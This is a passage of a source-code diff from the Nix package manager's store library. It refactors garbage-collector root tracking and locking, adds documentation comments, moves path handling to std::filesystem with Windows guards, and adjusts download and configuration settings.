FileTransferSettings : Config Setting tries{this, 5, "download-attempts", "How often Nix will attempt to download a file before giving up."}; + + Setting downloadBufferSize{this, 64 * 1024 * 1024, "download-buffer-size", + R"( + The size of Nix's internal download buffer during `curl` transfers. If data is + not processed quickly enough to exceed the size of this buffer, downloads may stall. + )"}; }; extern FileTransferSettings fileTransferSettings; @@ -74,11 +83,35 @@ struct FileTransferRequest struct FileTransferResult { + /** + * Whether this is a cache hit (i.e. the ETag supplied in the + * request is still valid). If so, `data` is empty. + */ bool cached = false; + + /** + * The ETag of the object. + */ std::string etag; - std::string effectiveUri; + + /** + * All URLs visited in the redirect chain. + */ + std::vector urls; + + /** + * The response body. + */ std::string data; + uint64_t bodySize = 0; + + /** + * An "immutable" URL for this resource (i.e. one whose contents + * will never change), as returned by the `Link: ; + * rel="immutable"` header. + */ + std::optional immutableUrl; }; class Store; @@ -87,39 +120,59 @@ struct FileTransfer { virtual ~FileTransfer() { } - /* Enqueue a data transfer request, returning a future to the result of - the download. The future may throw a FileTransferError - exception. */ + /** + * Enqueue a data transfer request, returning a future to the result of + * the download. The future may throw a FileTransferError + * exception. + */ virtual void enqueueFileTransfer(const FileTransferRequest & request, Callback callback) = 0; std::future enqueueFileTransfer(const FileTransferRequest & request); - /* Synchronously download a file. */ + /** + * Synchronously download a file. + */ FileTransferResult download(const FileTransferRequest & request); - /* Synchronously upload a file. */ + /** + * Synchronously upload a file. + */ FileTransferResult upload(const FileTransferRequest & request); - /* Download a file, writing its data to a sink. The sink will be - invoked on the thread of the caller. */ - void download(FileTransferRequest && request, Sink & sink); + /** + * Download a file, writing its data to a sink. The sink will be + * invoked on the thread of the caller. + */ + void download( + FileTransferRequest && request, + Sink & sink, + std::function resultCallback = {}); enum Error { NotFound, Forbidden, Misc, Transient, Interrupted }; }; -/* Return a shared FileTransfer object. Using this object is preferred - because it enables connection reuse and HTTP/2 multiplexing. */ +/** + * @return a shared FileTransfer object. + * + * Using this object is preferred because it enables connection reuse + * and HTTP/2 multiplexing. + */ ref getFileTransfer(); -/* Return a new FileTransfer object. */ +/** + * @return a new FileTransfer object + * + * Prefer getFileTransfer() to this; see its docs for why. + */ ref makeFileTransfer(); class FileTransferError : public Error { public: FileTransfer::Error error; - std::optional response; // intentionally optional + /// intentionally optional + std::optional response; template FileTransferError(FileTransfer::Error error, std::optional response, const Args & ... args); diff --git a/src/libstore/fs-accessor.hh b/src/libstore/fs-accessor.hh deleted file mode 100644 index c825e84f2..000000000 --- a/src/libstore/fs-accessor.hh +++ /dev/null @@ -1,40 +0,0 @@ -#pragma once - -#include "types.hh" - -namespace nix { - -/* An abstract class for accessing a filesystem-like structure, such - as a (possibly remote) Nix store or the contents of a NAR file. */ -class FSAccessor -{ -public: - enum Type { tMissing, tRegular, tSymlink, tDirectory }; - - struct Stat - { - Type type = tMissing; - uint64_t fileSize = 0; // regular files only - bool isExecutable = false; // regular files only - uint64_t narOffset = 0; // regular files only - }; - - virtual ~FSAccessor() { } - - virtual Stat stat(const Path & path) = 0; - - virtual StringSet readDirectory(const Path & path) = 0; - - /** - * Read a file inside the store. - * - * If `requireValidPath` is set to `true` (the default), the path must be - * inside a valid store path, otherwise it just needs to be physically - * present (but not necessarily properly registered) - */ - virtual std::string readFile(const Path & path, bool requireValidPath = true) = 0; - - virtual std::string readLink(const Path & path) = 0; -}; - -} diff --git a/src/libstore/gc-store.hh b/src/libstore/gc-store.hh index b3cbbad74..020f770b0 100644 --- a/src/libstore/gc-store.hh +++ b/src/libstore/gc-store.hh @@ -1,8 +1,10 @@ #pragma once +///@file + +#include #include "store-api.hh" - namespace nix { @@ -11,19 +13,20 @@ typedef std::unordered_map> Roots; struct GCOptions { - /* Garbage collector operation: - - - `gcReturnLive': return the set of paths reachable from - (i.e. in the closure of) the roots. - - - `gcReturnDead': return the set of paths not reachable from - the roots. - - - `gcDeleteDead': actually delete the latter set. - - - `gcDeleteSpecific': delete the paths listed in - `pathsToDelete', insofar as they are not reachable. - */ + /** + * Garbage collector operation: + * + * - `gcReturnLive`: return the set of paths reachable from + * (i.e. in the closure of) the roots. + * + * - `gcReturnDead`: return the set of paths not reachable from + * the roots. + * + * - `gcDeleteDead`: actually delete the latter set. + * + * - `gcDeleteSpecific`: delete the paths listed in + * `pathsToDelete`, insofar as they are not reachable. + */ typedef enum { gcReturnLive, gcReturnDead, @@ -33,51 +36,84 @@ struct GCOptions GCAction action{gcDeleteDead}; - /* If `ignoreLiveness' is set, then reachability from the roots is - ignored (dangerous!). However, the paths must still be - unreferenced *within* the store (i.e., there can be no other - store paths that depend on them). */ + /** + * If `ignoreLiveness` is set, then reachability from the roots is + * ignored (dangerous!). However, the paths must still be + * unreferenced *within* the store (i.e., there can be no other + * store paths that depend on them). + */ bool ignoreLiveness{false}; - /* For `gcDeleteSpecific', the paths to delete. */ + /** + * For `gcDeleteSpecific`, the paths to delete. + */ StorePathSet pathsToDelete; - /* Stop after at least `maxFreed' bytes have been freed. */ + /** + * Stop after at least `maxFreed` bytes have been freed. + */ uint64_t maxFreed{std::numeric_limits::max()}; }; struct GCResults { - /* Depending on the action, the GC roots, or the paths that would - be or have been deleted. */ + /** + * Depending on the action, the GC roots, or the paths that would + * be or have been deleted. + */ PathSet paths; - /* For `gcReturnDead', `gcDeleteDead' and `gcDeleteSpecific', the - number of bytes that would be or was freed. */ + /** + * For `gcReturnDead`, `gcDeleteDead` and `gcDeleteSpecific`, the + * number of bytes that would be or was freed. + */ uint64_t bytesFreed = 0; }; +/** + * Mix-in class for \ref Store "stores" which expose a notion of garbage + * collection. + * + * Garbage collection will allow deleting paths which are not + * transitively "rooted". + * + * The notion of GC roots actually not part of this class. + * + * - The base `Store` class has `Store::addTempRoot()` because for a store + * that doesn't support garbage collection at all, a temporary GC root is + * safely implementable as no-op. + * + * @todo actually this is not so good because stores are *views*. + * Some views have only a no-op temp roots even though others to the + * same store allow triggering GC. For instance one can't add a root + * over ssh, but that doesn't prevent someone from gc-ing that store + * accesed via SSH locally). + * + * - The derived `LocalFSStore` class has `LocalFSStore::addPermRoot`, + * which is not part of this class because it relies on the notion of + * an ambient file system. There are stores (`ssh-ng://`, for one), + * that *do* support garbage collection but *don't* expose any file + * system, and `LocalFSStore::addPermRoot` thus does not make sense + * for them. + */ struct GcStore : public virtual Store { inline static std::string operationName = "Garbage collection"; - /* Add an indirect root, which is merely a symlink to `path' from - /nix/var/nix/gcroots/auto/. `path' is supposed - to be a symlink to a store path. The garbage collector will - automatically remove the indirect root when it finds that - `path' has disappeared. */ - virtual void addIndirectRoot(const Path & path) = 0; - - /* Find the roots of the garbage collector. Each root is a pair - (link, storepath) where `link' is the path of the symlink - outside of the Nix store that point to `storePath'. If - 'censor' is true, privacy-sensitive information about roots - found in /proc is censored. */ + /** + * Find the roots of the garbage collector. Each root is a pair + * `(link, storepath)` where `link` is the path of the symlink + * outside of the Nix store that point to `storePath`. If + * `censor` is true, privacy-sensitive information about roots + * found in `/proc` is censored. + */ virtual Roots findRoots(bool censor) = 0; - /* Perform a garbage collection. */ + /** + * Perform a garbage collection. + */ virtual void collectGarbage(const GCOptions & options, GCResults & results) = 0; }; diff --git a/src/libstore/gc.cc b/src/libstore/gc.cc index 5d91829f1..1494712da 100644 --- a/src/libstore/gc.cc +++ b/src/libstore/gc.cc @@ -1,8 +1,14 @@ #include "derivations.hh" #include "globals.hh" #include "local-store.hh" -#include "local-fs-store.hh" #include "finally.hh" +#include "unix-domain-socket.hh" +#include "signals.hh" + +#if !defined(__linux__) +// For shelling out to lsof +# include "processes.hh" +#endif #include #include @@ -13,124 +19,105 @@ #include #include #include -#include -#include #include -#include +#if HAVE_STATVFS +# include +#endif +#ifndef _WIN32 +# include +# include +# include +#endif #include -#include #include namespace nix { - static std::string gcSocketPath = "/gc-socket/socket"; static std::string gcRootsDir = "gcroots"; -static void makeSymlink(const Path & link, const Path & target) -{ - /* Create directories up to `gcRoot'. */ - createDirs(dirOf(link)); - - /* Create the new symlink. */ - Path tempLink = (format("%1%.tmp-%2%-%3%") - % link % getpid() % random()).str(); - createSymlink(target, tempLink); - - /* Atomically replace the old one. */ - renameFile(tempLink, link); -} - - void LocalStore::addIndirectRoot(const Path & path) { - std::string hash = hashString(htSHA1, path).to_string(Base32, false); + std::string hash = hashString(HashAlgorithm::SHA1, path).to_string(HashFormat::Nix32, false); Path realRoot = canonPath(fmt("%1%/%2%/auto/%3%", stateDir, gcRootsDir, hash)); makeSymlink(realRoot, path); } -Path LocalFSStore::addPermRoot(const StorePath & storePath, const Path & _gcRoot) +void LocalStore::createTempRootsFile() { - Path gcRoot(canonPath(_gcRoot)); + auto fdTempRoots(_fdTempRoots.lock()); - if (isInStore(gcRoot)) - throw Error( - "creating a garbage collector root (%1%) in the Nix store is forbidden " - "(are you running nix-build inside the store?)", gcRoot); + /* Create the temporary roots file for this process. */ + if (*fdTempRoots) return; - /* Register this root with the garbage collector, if it's - running. This should be superfluous since the caller should - have registered this root yet, but let's be on the safe - side. */ - addTempRoot(storePath); + while (1) { + if (pathExists(fnTempRoots)) + /* It *must* be stale, since there can be no two + processes with the same pid. */ + unlink(fnTempRoots.c_str()); - /* Don't clobber the link if it already exists and doesn't - point to the Nix store. */ - if (pathExists(gcRoot) && (!isLink(gcRoot) || !isInStore(readLink(gcRoot)))) - throw Error("cannot create symlink '%1%'; already exists", gcRoot); - makeSymlink(gcRoot, printStorePath(storePath)); - addIndirectRoot(gcRoot); + *fdTempRoots = openLockFile(fnTempRoots, true); - return gcRoot; + debug("acquiring write lock on '%s'", fnTempRoots); + lockFile(fdTempRoots->get(), ltWrite, true); + + /* Check whether the garbage collector didn't get in our + way. */ + struct stat st; + if (fstat(fromDescriptorReadOnly(fdTempRoots->get()), &st) == -1) + throw SysError("statting '%1%'", fnTempRoots); + if (st.st_size == 0) break; + + /* The garbage collector deleted this file before we could get + a lock. (It won't delete the file after we get a lock.) + Try again. */ + } } void LocalStore::addTempRoot(const StorePath & path) { - auto state(_state.lock()); - - /* Create the temporary roots file for this process. */ - if (!state->fdTempRoots) { - - while (1) { - if (pathExists(fnTempRoots)) - /* It *must* be stale, since there can be no two - processes with the same pid. */ - unlink(fnTempRoots.c_str()); - - state->fdTempRoots = openLockFile(fnTempRoots, true); - - debug("acquiring write lock on '%s'", fnTempRoots); - lockFile(state->fdTempRoots.get(), ltWrite, true); - - /* Check whether the garbage collector didn't get in our - way. */ - struct stat st; - if (fstat(state->fdTempRoots.get(), &st) == -1) - throw SysError("statting '%1%'", fnTempRoots); - if (st.st_size == 0) break; - - /* The garbage collector deleted this file before we could - get a lock. (It won't delete the file after we get a - lock.) Try again. */ - } - + if (readOnly) { + debug("Read-only store doesn't support creating lock files for temp roots, but nothing can be deleted anyways."); + return; } - if (!state->fdGCLock) - state->fdGCLock = openGCLock(); + createTempRootsFile(); + + /* Open/create the global GC lock file. */ + { + auto fdGCLock(_fdGCLock.lock()); + if (!*fdGCLock) + *fdGCLock = openGCLock(); + } restart: - FdLock gcLock(state->fdGCLock.get(), ltRead, false, ""); + /* Try to acquire a shared global GC lock (non-blocking). This + only succeeds if the garbage collector is not currently + running. */ + FdLock gcLock(_fdGCLock.lock()->get(), ltRead, false, ""); if (!gcLock.acquired) { /* We couldn't get a shared global GC lock, so the garbage collector is running. So we have to connect to the garbage collector and inform it about our root. */ - if (!state->fdRootsSocket) { + auto fdRootsSocket(_fdRootsSocket.lock()); + + if (!*fdRootsSocket) { auto socketPath = stateDir.get() + gcSocketPath; debug("connecting to '%s'", socketPath); - state->fdRootsSocket = createUnixDomainSocket(); + *fdRootsSocket = createUnixDomainSocket(); try { - nix::connect(state->fdRootsSocket.get(), socketPath); + nix::connect(toSocket(fdRootsSocket->get()), socketPath); } catch (SysError & e) { - /* The garbage collector may have exited, so we need to - restart. */ - if (e.errNo == ECONNREFUSED) { - debug("GC socket connection refused"); - state->fdRootsSocket.close(); + /* The garbage collector may have exited or not + created the socket yet, so we need to restart. */ + if (e.errNo == ECONNREFUSED || e.errNo == ENOENT) { + debug("GC socket connection refused: %s", e.msg()); + fdRootsSocket->close(); + std::this_thread::sleep_for(std::chrono::milliseconds(100)); goto restart; } throw; @@ -139,9 +126,9 @@ void LocalStore::addTempRoot(const StorePath & path) try { debug("sending GC root '%s'", printStorePath(path)); - writeFull(state->fdRootsSocket.get(), printStorePath(path) + "\n", false); + writeFull(fdRootsSocket->get(), printStorePath(path) + "\n", false); char c; - readFull(state->fdRootsSocket.get(), &c, 1); + readFull(fdRootsSocket->get(), &c, 1); assert(c == '1'); debug("got ack for GC root '%s'", printStorePath(path)); } catch (SysError & e) { @@ -149,20 +136,21 @@ void LocalStore::addTempRoot(const StorePath & path) restart. */ if (e.errNo == EPIPE || e.errNo == ECONNRESET) { debug("GC socket disconnected"); - state->fdRootsSocket.close(); + fdRootsSocket->close(); goto restart; } throw; } catch (EndOfFile & e) { debug("GC socket disconnected"); - state->fdRootsSocket.close(); + fdRootsSocket->close(); goto restart; } } - /* Append the store path to the temporary roots file. */ + /* Record the store path in the temporary roots file so it will be + seen by a future run of the garbage collector. */ auto s = printStorePath(path) + '\0'; - writeFull(state->fdTempRoots.get(), s); + writeFull(_fdTempRoots.lock()->get(), s); } @@ -173,18 +161,24 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) { /* Read the `temproots' directory for per-process temporary root files. */ - for (auto & i : readDirectory(tempRootsDir)) { - if (i.name[0] == '.') { + for (auto & i : std::filesystem::directory_iterator{tempRootsDir}) { + checkInterrupt(); + auto name = i.path().filename().string(); + if (name[0] == '.') { // Ignore hidden files. Some package managers (notably portage) create // those to keep the directory alive. continue; } - Path path = tempRootsDir + "/" + i.name; + Path path = i.path().string(); - pid_t pid = std::stoi(i.name); + pid_t pid = std::stoi(name); - debug(format("reading temporary root file '%1%'") % path); - AutoCloseFD fd(open(path.c_str(), O_CLOEXEC | O_RDWR, 0666)); + debug("reading temporary root file '%1%'", path); + AutoCloseFD fd(toDescriptor(open(path.c_str(), +#ifndef _WIN32 + O_CLOEXEC | +#endif + O_RDWR, 0666))); if (!fd) { /* It's okay if the file has disappeared. */ if (errno == ENOENT) continue; @@ -217,7 +211,7 @@ void LocalStore::findTempRoots(Roots & tempRoots, bool censor) } -void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) +void LocalStore::findRoots(const Path & path, std::filesystem::file_type type, Roots & roots) { auto foundRoot = [&](const Path & path, const Path & target) { try { @@ -231,15 +225,17 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) try { - if (type == DT_UNKNOWN) - type = getFileType(path); + if (type == std::filesystem::file_type::unknown) + type = std::filesystem::symlink_status(path).type(); - if (type == DT_DIR) { - for (auto & i : readDirectory(path)) - findRoots(path + "/" + i.name, i.type, roots); + if (type == std::filesystem::file_type::directory) { + for (auto & i : std::filesystem::directory_iterator{path}) { + checkInterrupt(); + findRoots(i.path().string(), i.symlink_status().type(), roots); + } } - else if (type == DT_LNK) { + else if (type == std::filesystem::file_type::symlink) { Path target = readLink(path); if (isInStore(target)) foundRoot(path, target); @@ -249,19 +245,18 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) target = absPath(target, dirOf(path)); if (!pathExists(target)) { if (isInDir(path, stateDir + "/" + gcRootsDir + "/auto")) { - printInfo(format("removing stale link from '%1%' to '%2%'") % path % target); + printInfo("removing stale link from '%1%' to '%2%'", path, target); unlink(path.c_str()); } } else { - struct stat st2 = lstat(target); - if (!S_ISLNK(st2.st_mode)) return; + if (!std::filesystem::is_symlink(target)) return; Path target2 = readLink(target); if (isInStore(target2)) foundRoot(target, target2); } } } - else if (type == DT_REG) { + else if (type == std::filesystem::file_type::regular) { auto storePath = maybeParseStorePath(storeDir + "/" + std::string(baseNameOf(path))); if (storePath && isValidPath(*storePath)) roots[std::move(*storePath)].emplace(path); @@ -269,6 +264,14 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) } + catch (std::filesystem::filesystem_error & e) { + /* We only ignore permanent failures. */ + if (e.code() == std::errc::permission_denied || e.code() == std::errc::no_such_file_or_directory || e.code() == std::errc::not_a_directory) + printInfo("cannot read potential root '%1%'", path); + else + throw; + } + catch (SysError & e) { /* We only ignore permanent failures. */ if (e.errNo == EACCES || e.errNo == ENOENT || e.errNo == ENOTDIR) @@ -282,8 +285,8 @@ void LocalStore::findRoots(const Path & path, unsigned char type, Roots & roots) void LocalStore::findRootsNoTemp(Roots & roots, bool censor) { /* Process direct roots in {gcroots,profiles}. */ - findRoots(stateDir + "/" + gcRootsDir, DT_UNKNOWN, roots); - findRoots(stateDir + "/profiles", DT_UNKNOWN, roots); + findRoots(stateDir + "/" + gcRootsDir, std::filesystem::file_type::unknown, roots); + findRoots(stateDir + "/profiles", std::filesystem::file_type::unknown, roots); /* Add additional roots returned by different platforms-specific heuristics. This is typically used to add running programs to @@ -302,29 +305,25 @@ Roots LocalStore::findRoots(bool censor) return roots; } -typedef std::unordered_map> UncheckedRoots; +/** + * Key is a mere string because cannot has path with macOS's libc++ + */ +typedef std::unordered_map> UncheckedRoots; -static void readProcLink(const std::string & file, UncheckedRoots & roots) +static void readProcLink(const std::filesystem::path & file, UncheckedRoots & roots) { - /* 64 is the starting buffer size gnu readlink uses... */ - auto bufsiz = ssize_t{64}; -try_again: - char buf[bufsiz]; - auto res = readlink(file.c_str(), buf, bufsiz); - if (res == -1) { - if (errno == ENOENT || errno == EACCES || errno == ESRCH) + std::filesystem::path buf; + try { + buf = std::filesystem::read_symlink(file); + } catch (std::filesystem::filesystem_error & e) { + if (e.code() == std::errc::no_such_file_or_directory + || e.code() == std::errc::permission_denied + || e.code() == std::errc::no_such_process) return; - throw SysError("reading symlink"); + throw; } - if (res == bufsiz) { - if (SSIZE_MAX / 2 < bufsiz) - throw Error("stupidly long symlink"); - bufsiz *= 2; - goto try_again; - } - if (res > 0 && buf[0] == '/') - roots[std::string(static_cast(buf), res)] - .emplace(file); + if (buf.is_absolute()) + roots[buf.string()].emplace(file.string()); } static std::string quoteRegexChars(const std::string & raw) @@ -358,35 +357,35 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) while (errno = 0, ent = readdir(procDir.get())) { checkInterrupt(); if (std::regex_match(ent->d_name, digitsRegex)) { - readProcLink(fmt("/proc/%s/exe" ,ent->d_name), unchecked); - readProcLink(fmt("/proc/%s/cwd", ent->d_name), unchecked); - - auto fdStr = fmt("/proc/%s/fd", ent->d_name); - auto fdDir = AutoCloseDir(opendir(fdStr.c_str())); - if (!fdDir) { - if (errno == ENOENT || errno == EACCES) - continue; - throw SysError("opening %1%", fdStr); - } - struct dirent * fd_ent; - while (errno = 0, fd_ent = readdir(fdDir.get())) { - if (fd_ent->d_name[0] != '.') - readProcLink(fmt("%s/%s", fdStr, fd_ent->d_name), unchecked); - } - if (errno) { - if (errno == ESRCH) - continue; - throw SysError("iterating /proc/%1%/fd", ent->d_name); - } - fdDir.reset(); - try { - auto mapFile = fmt("/proc/%s/maps", ent->d_name); - auto mapLines = tokenizeString>(readFile(mapFile), "\n"); + readProcLink(fmt("/proc/%s/exe" ,ent->d_name), unchecked); + readProcLink(fmt("/proc/%s/cwd", ent->d_name), unchecked); + + auto fdStr = fmt("/proc/%s/fd", ent->d_name); + auto fdDir = AutoCloseDir(opendir(fdStr.c_str())); + if (!fdDir) { + if (errno == ENOENT || errno == EACCES) + continue; + throw SysError("opening %1%", fdStr); + } + struct dirent * fd_ent; + while (errno = 0, fd_ent = readdir(fdDir.get())) { + if (fd_ent->d_name[0] != '.') + readProcLink(fmt("%s/%s", fdStr, fd_ent->d_name), unchecked); + } + if (errno) { + if (errno == ESRCH) + continue; + throw SysError("iterating /proc/%1%/fd", ent->d_name); + } + fdDir.reset(); + + std::filesystem::path mapFile = fmt("/proc/%s/maps", ent->d_name); + auto mapLines = tokenizeString>(readFile(mapFile.string()), "\n"); for (const auto & line : mapLines) { auto match = std::smatch{}; if (std::regex_match(line, match, mapRegex)) - unchecked[match[1]].emplace(mapFile); + unchecked[match[1]].emplace(mapFile.string()); } auto envFile = fmt("/proc/%s/environ", ent->d_name); @@ -394,7 +393,7 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) auto env_end = std::sregex_iterator{}; for (auto i = std::sregex_iterator{envString.begin(), envString.end(), storePathRegex}; i != env_end; ++i) unchecked[i->str()].emplace(envFile); - } catch (SysError & e) { + } catch (SystemError & e) { if (errno == ENOENT || errno == EACCES || errno == ESRCH) continue; throw; @@ -417,7 +416,7 @@ void LocalStore::findRuntimeRoots(Roots & roots, bool censor) for (const auto & line : lsofLines) { std::smatch match; if (std::regex_match(line, match, lsofRegex)) - unchecked[match[1]].emplace("{lsof}"); + unchecked[match[1].str()].emplace("{lsof}"); } } catch (ExecError & e) { /* lsof not installed, lsof failed */ @@ -490,11 +489,20 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) auto fdGCLock = openGCLock(); FdLock gcLock(fdGCLock.get(), ltWrite, true, "waiting for the big garbage collector lock..."); + /* Synchronisation point to test ENOENT handling in + addTempRoot(), see tests/gc-non-blocking.sh. */ + if (auto p = getEnv("_NIX_TEST_GC_SYNC_1")) + readFile(*p); + /* Start the server for receiving new roots. */ auto socketPath = stateDir.get() + gcSocketPath; createDirs(dirOf(socketPath)); auto fdServer = createUnixDomainSocket(socketPath, 0666); + // TODO nonblocking socket on windows? +#ifdef _WIN32 + throw UnimplementedError("External GC client not implemented yet"); +#else if (fcntl(fdServer.get(), F_SETFL, fcntl(fdServer.get(), F_GETFL) | O_NONBLOCK) == -1) throw SysError("making socket '%1%' non-blocking", socketPath); @@ -550,8 +558,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) /* On macOS, accepted sockets inherit the non-blocking flag from the server socket, so explicitly make it blocking. */ - if (fcntl(fdServer.get(), F_SETFL, fcntl(fdServer.get(), F_GETFL) & ~O_NONBLOCK) == -1) - abort(); + if (fcntl(fdClient.get(), F_SETFL, fcntl(fdClient.get(), F_GETFL) & ~O_NONBLOCK) == -1) + panic("Could not set non-blocking flag on client socket"); while (true) { try { @@ -595,6 +603,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) if (serverThread.joinable()) serverThread.join(); }); +#endif + /* Find the roots. Since we've grabbed the GC lock, the set of permanent roots cannot increase now. */ printInfo("finding garbage collector roots..."); @@ -613,6 +623,10 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) roots.insert(root.first); } + /* Synchronisation point for testing, see tests/functional/gc-non-blocking.sh. */ + if (auto p = getEnv("_NIX_TEST_GC_SYNC_2")) + readFile(*p); + /* Helper function that deletes a path from the store and throws GCLimitReached if we've deleted enough garbage. */ auto deleteFromStore = [&](std::string_view baseName) @@ -624,8 +638,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) by another process. We need to be sure that we can acquire an exclusive lock before deleting them. */ if (baseName.find("tmp-", 0) == 0) { - AutoCloseFD tmpDirFd = open(realPath.c_str(), O_RDONLY | O_DIRECTORY); - if (tmpDirFd.get() == -1 || !lockFile(tmpDirFd.get(), ltWrite, false)) { + AutoCloseFD tmpDirFd = openDirectory(realPath); + if (!tmpDirFd || !lockFile(tmpDirFd.get(), ltWrite, false)) { debug("skipping locked tempdir '%s'", realPath); return; } @@ -636,7 +650,8 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) results.paths.insert(path); uint64_t bytesFreed; - deletePath(realPath, bytesFreed); + deleteStorePath(realPath, bytesFreed); + results.bytesFreed += bytesFreed; if (results.bytesFreed > options.maxFreed) { @@ -723,7 +738,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) auto i = referrersCache.find(*path); if (i == referrersCache.end()) { StorePathSet referrers; - queryReferrers(*path, referrers); + queryGCReferrers(*path, referrers); referrersCache.emplace(*path, std::move(referrers)); i = referrersCache.find(*path); } @@ -759,10 +774,6 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) } }; - /* Synchronisation point for testing, see tests/gc-concurrent.sh. */ - if (auto p = getEnv("_NIX_TEST_GC_SYNC")) - readFile(*p); - /* Either delete all garbage paths, or just the specified paths (for gcDeleteSpecific). */ if (options.action == GCOptions::gcDeleteSpecific) { @@ -773,7 +784,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) throw Error( "Cannot delete path '%1%' since it is still alive. " "To find out why, use: " - "nix-store --query --roots", + "nix-store --query --roots and nix-store --query --referrers", printStorePath(i)); } @@ -849,19 +860,25 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) continue; } - printMsg(lvlTalkative, format("deleting unused link '%1%'") % path); + printMsg(lvlTalkative, "deleting unused link '%1%'", path); if (unlink(path.c_str()) == -1) throw SysError("deleting '%1%'", path); - /* Do not accound for deleted file here. Rely on deletePath() + /* Do not account for deleted file here. Rely on deletePath() accounting. */ } struct stat st; if (stat(linksDir.c_str(), &st) == -1) throw SysError("statting '%1%'", linksDir); - int64_t overhead = st.st_blocks * 512ULL; + int64_t overhead = +#ifdef _WIN32 + 0 +#else + st.st_blocks * 512ULL +#endif + ; printInfo("note: currently hard linking saves %.2f MiB", ((unsharedSize - actualSize - overhead) / (1024.0 * 1024.0))); @@ -874,6 +891,7 @@ void LocalStore::collectGarbage(const GCOptions & options, GCResults & results) void LocalStore::autoGC(bool sync) { +#if HAVE_STATVFS static auto fakeFreeSpaceFile = getEnv("_NIX_TEST_FREE_SPACE_FILE"); auto getAvail = [this]() -> uint64_t { @@ -950,6 +968,7 @@ void LocalStore::autoGC(bool sync) sync: // Wait for the future outside of the state lock. if (sync) future.get(); +#endif } diff --git a/src/libstore/globals.cc b/src/libstore/globals.cc index b7f55cae7..52ab35b4c 100644 --- a/src/libstore/globals.cc +++ b/src/libstore/globals.cc @@ -1,18 +1,40 @@ #include "globals.hh" -#include "util.hh" +#include "config-global.hh" +#include "current-process.hh" #include "archive.hh" #include "args.hh" #include "abstract-setting-to-json.hh" #include "compute-levels.hh" +#include "signals.hh" #include #include +#include #include -#include -#include #include +#ifndef _WIN32 +# include +#endif + +#ifdef __GLIBC__ +# include +# include +# include +#endif + +#if __APPLE__ +# include "processes.hh" +#endif + +#include "config-impl.hh" + +#ifdef __APPLE__ +#include +#endif + +#include "strings.hh" namespace nix { @@ -30,28 +52,29 @@ static GlobalConfig::Register rSettings(&settings); Settings::Settings() : nixPrefix(NIX_PREFIX) - , nixStore(canonPath(getEnv("NIX_STORE_DIR").value_or(getEnv("NIX_STORE").value_or(NIX_STORE_DIR)))) - , nixDataDir(canonPath(getEnv("NIX_DATA_DIR").value_or(NIX_DATA_DIR))) - , nixLogDir(canonPath(getEnv("NIX_LOG_DIR").value_or(NIX_LOG_DIR))) - , nixStateDir(canonPath(getEnv("NIX_STATE_DIR").value_or(NIX_STATE_DIR))) - , nixConfDir(canonPath(getEnv("NIX_CONF_DIR").value_or(NIX_CONF_DIR))) + , nixStore( +#ifndef _WIN32 + // On Windows `/nix/store` is not a canonical path, but we dont' + // want to deal with that yet. + canonPath +#endif + (getEnvNonEmpty("NIX_STORE_DIR").value_or(getEnvNonEmpty("NIX_STORE").value_or(NIX_STORE_DIR)))) + , nixDataDir(canonPath(getEnvNonEmpty("NIX_DATA_DIR").value_or(NIX_DATA_DIR))) + , nixLogDir(canonPath(getEnvNonEmpty("NIX_LOG_DIR").value_or(NIX_LOG_DIR))) + , nixStateDir(canonPath(getEnvNonEmpty("NIX_STATE_DIR").value_or(NIX_STATE_DIR))) + , nixConfDir(canonPath(getEnvNonEmpty("NIX_CONF_DIR").value_or(NIX_CONF_DIR))) , nixUserConfFiles(getUserConfigFiles()) - , nixBinDir(canonPath(getEnv("NIX_BIN_DIR").value_or(NIX_BIN_DIR))) , nixManDir(canonPath(NIX_MAN_DIR)) - , nixDaemonSocketFile(canonPath(getEnv("NIX_DAEMON_SOCKET_PATH").value_or(nixStateDir + DEFAULT_SOCKET_PATH))) + , nixDaemonSocketFile(canonPath(getEnvNonEmpty("NIX_DAEMON_SOCKET_PATH").value_or(nixStateDir + DEFAULT_SOCKET_PATH))) { - buildUsersGroup = getuid() == 0 ? "nixbld" : ""; - lockCPU = getEnv("NIX_AFFINITY_HACK") == "1"; +#ifndef _WIN32 + buildUsersGroup = isRootUser() ? "nixbld" : ""; +#endif allowSymlinkedStore = getEnv("NIX_IGNORE_SYMLINK_STORE") == "1"; - caFile = getEnv("NIX_SSL_CERT_FILE").value_or(getEnv("SSL_CERT_FILE").value_or("")); - if (caFile == "") { - for (auto & fn : {"/etc/ssl/certs/ca-certificates.crt", "/nix/var/nix/profiles/default/etc/ssl/certs/ca-bundle.crt"}) - if (pathExists(fn)) { - caFile = fn; - break; - } - } + auto sslOverride = getEnv("NIX_SSL_CERT_FILE").value_or(getEnv("SSL_CERT_FILE").value_or("")); + if (sslOverride != "") + caFile = sslOverride; /* Backwards compatibility. */ auto s = getEnv("NIX_REMOTE_SYSTEMS"); @@ -59,7 +82,7 @@ Settings::Settings() Strings ss; for (auto & p : tokenizeString(*s, ":")) ss.push_back("@" + p); - builders = concatStringsSep(" ", ss); + builders = concatStringsSep("\n", ss); } #if defined(__linux__) && defined(SANDBOX_SHELL) @@ -71,26 +94,31 @@ Settings::Settings() sandboxPaths = tokenizeString("/System/Library/Frameworks /System/Library/PrivateFrameworks /bin/sh /bin/bash /private/tmp /private/var/tmp /usr/lib"); allowedImpureHostPrefixes = tokenizeString("/System/Library /usr/lib /dev /bin/sh"); #endif - - buildHook = getSelfExe().value_or("nix") + " __build-remote"; } -void loadConfFile() +void loadConfFile(AbstractConfig & config) { - globalConfig.applyConfigFile(settings.nixConfDir + "/nix.conf"); + auto applyConfigFile = 